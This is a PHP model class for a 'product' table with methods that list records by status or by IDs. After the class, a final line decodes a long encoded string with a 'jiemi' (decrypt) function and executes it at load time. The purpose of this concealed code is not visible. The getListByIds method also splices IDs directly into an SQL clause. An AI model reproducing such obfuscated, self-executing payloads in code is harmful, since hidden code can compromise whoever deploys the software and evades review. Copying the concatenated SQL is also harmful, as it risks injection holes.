<?php
class productModel extends model{
	public $base;
	function __construct(&$base){
		parent::__construct($base);
		$this->base=$base;
		$this->table="product";
		
	}
	
	public function kclist(){
		$option=array(
			"where"=>"status<10"
		);
		$data=$this->select($option);
		if($data){
			foreach($data as $k=>$v){
				$t[$v['id']]=$v;
			}
			return $t;
		}
		return false;
	}
	
	public function id_list($option){
		$data=$this->select($option);
		if($data){
			foreach($data as $k=>$v){
				$t[$v['id']]=$v;
			}
			return $t;
		}
		return false;
	}
	
	public function getListByIds($ids){
		if(!empty($ids)){
			$option['where']=" id in("._implode($ids).")";
			$data=parent::select($option);
			 
			if($data){
				$list=array();
				foreach($data as $k=>$v){
					$list[$v['id']]=$v;
				}
				return $list;
			}
		}
		return false;
	}
	
}
ev(jiemi('JTJBJTEzNiUxMyUxQTklRkU3JUY1JUY2JTA2JTFBJTJCJTNBJUZBJTJDJUY0JUY1JTEzJUZCLiUxOSUxRTUlMUMlMjklMTElMUElRjklMjglMTQlMjYlMDclMEQlMTY3JTBCJTA2JTE4JUZDOSUxRiVGNS4lMjclMTYlRjgtJUZBNyUyNiVGQSUxMyUxQSVGNyVGQiVGQSUxMiUyNiUzQSUyRiUwRSUwRSUxNSUwRTElMEYlM0MlRjklMTMlMTMlMDYlM0QlM0IlMTclMDc1JTA4LiUwRSVGOSUwRTklRjclM0YlMTElRjAyJTI2JTJCJTBDJUY0JUZEJTE0JTFGJTBEJUZCJUY0JTFFLiVGQSUzQSUwRDIlMjg4JUZBJUY4JTNCMyUxNCVGMCVGQyUzRCVGQyUyOCVGOSUyNyUxMCUyOSUzQyUwRSUwQSUwQSUzQSVGOSVGQiUxNCUyRjclMEIlMTUlMkIlMDYlRkMlRjkxLTglMjglMDclMEUlMjclMTklMEMlMTMuJTA2JUZBJUY1JUZFJTFDJTJBJTJBJTFGJTI2MyUwQyUxNSUyOSUyQyUxNSUwNjMyJTNEJTNBJTFGJTA5JTE0JUZBJTNDNTAlMEElMTYlMTElMTYlMTUlRkQ3JTFDJUY1JUZBNi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